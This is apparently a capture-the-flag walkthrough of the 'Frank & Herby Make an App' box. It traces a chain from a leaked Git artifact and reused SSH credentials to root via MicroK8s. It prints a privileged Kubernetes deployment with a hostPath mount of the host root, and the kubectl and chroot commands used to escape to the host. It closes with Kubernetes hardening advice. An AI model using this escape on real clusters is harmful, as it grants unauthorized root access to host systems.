Introduction

Modern applications increasingly rely on container orchestration platforms like Kubernetes. While these tools simplify deployment, misconfigurations can quietly introduce critical security risks. In Frank & Herby Make an App, a minor operational oversight leads from an exposed development artifact to SSH access, and ultimately to full root compromise through an insecure MicroK8s configuration. This walkthrough focuses on the exploitation chain and the security lessons behind it.

1. Reconnaissance

An initial Nmap scan revealed the following exposed services:

22/tcp → OpenSSH 8.2p1 (Ubuntu)
3000/tcp → Meteor-based web application
31337/tcp → nginx 1.21.3 serving a Bootstrap template
  • During content enumeration, an unusual exposed Git-related artifact was discovered on the web server. Such files are not meant to be publicly accessible and often indicate accidental exposure of development or deployment credentials.

This artifact became the initial foothold for further exploitation.

2. Credential Discovery

The exposed Git artifact contained authentication information associated with a local system user.

Exact values intentionally redacted.

This is a common real-world issue: credentials used during development are frequently reused for SSH or internal services, turning a simple file exposure into a system-level compromise.

3. Initial Access

The recovered credentials were successfully reused to authenticate over SSH:

ssh frank@<target-ip>

This confirmed the credentials belonged to a valid local user and provided a stable foothold on the system.

User flag intentionally redacted.

At this point, access was limited to a non-root user, necessitating further enumeration to identify privilege escalation opportunities.

4. Privilege Escalation Enumeration

Post-exploitation enumeration focused on identifying elevated privileges and misconfigured services. The compromised user was found to have access related to MicroK8s, Canonical's lightweight Kubernetes distribution.

This is significant because Kubernetes users with sufficient privileges can deploy workloads that directly interact with the host system. In poorly secured environments, this effectively provides a path to full root access.

5. Exploiting MicroK8s

Cluster access was verified using the available Kubernetes tooling:

microk8s kubectl get nodes

The node was active and schedulable, confirming sufficient privileges to deploy resources.

A malicious Kubernetes deployment was then created with the following goals:

  • Run a privileged container
  • Mount the host filesystem using hostPath
  • Keep the container running to allow interactive access

Malicious Deployment (test.yaml)

apiVersion: apps/v1
kind: Deployment
metadata:
  name: root-shell-deploy
spec:
  replicas: 1
  selector:
    matchLabels:
      app: root-shell
  template:
    metadata:
      labels:
        app: root-shell
    spec:
      containers:
      - name: root
        image: busybox
        command: ["/bin/sh"]
        args: ["-c", "sleep infinity"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host
      volumes:
      - name: host
        hostPath:
          path: /

This configuration is dangerous because hostPath exposes the host's root filesystem inside the container, while privileged: true disables container isolation mechanisms.

The deployment was applied and verified:

microk8s kubectl apply -f test.yaml
microk8s kubectl get pods

Once the pod entered a running state, host-level interaction became possible.

6. Host Escape and Root Access

An interactive shell was obtained inside the running pod:

microk8s kubectl exec -it <pod-name> -- /bin/sh

From within the container, the host filesystem was accessible at /host. By changing the root directory to the mounted filesystem, execution was transferred directly to the host operating system:

chroot /host sh
None

🛡️ Defensive & Mitigation Strategies

This challenge highlights several common security failures across development and container orchestration.

Secure Development Artifacts

  • Never expose Git configuration files or credentials via web servers.
  • Strip development artifacts from production deployments.
  • Rotate credentials immediately after accidental exposure.

Apply Least Privilege

  • Avoid granting administrative access to MicroK8s or Kubernetes to standard users.
  • Treat Kubernetes access as equivalent to root access.
  • Use RBAC to restrict who can deploy or modify workloads.

Harden Kubernetes Configurations

  • Disable or strictly restrict:
  • privileged: true
  • hostPath volume mounts
  • Enforce Pod Security Standards or Pod Security Admission policies.
  • Use admission controllers to block dangerous pod specifications.

Monitoring and Auditing

  • Monitor for privileged deployments and suspicious workloads.
  • Audit Kubernetes actions regularly.
  • Protect kubeconfig files and admin tokens as sensitive secrets.

Key takeaway:

If an attacker can deploy privileged Kubernetes workloads, the host is already compromised.

🧠 TL;DR

A leaked Git-related artifact exposed reusable credentials, allowing SSH access to a local user. That user had MicroK8s permissions, enabling deployment of a privileged Kubernetes pod with a host filesystem mount. By chrooting into the mounted host, full root access was achieved. The challenge demonstrates how Kubernetes misconfigurations can completely bypass traditional privilege boundaries.

🧩 Attack Chain Diagram

[ Web Server Exposure ]
          |
          v
[ Git Artifact Leak ]
          |
          v
[ Reused Credentials ]
          |
          v
[ SSH Access as User ]
          |
          v
[ MicroK8s Permissions ]
          |
          v
[ Privileged Pod Deployment ]
          |
          v
[ Host Filesystem Mounted ]
          |
          v
[ chroot to /host ]
          |
          v
[ Root Access ]

✅ Conclusion

This box reinforces a critical real-world lesson: Kubernetes security failures are host security failures. When orchestration platforms are misconfigured, traditional privilege separation collapses, allowing attackers to move from minor exposures to full system compromise with minimal friction.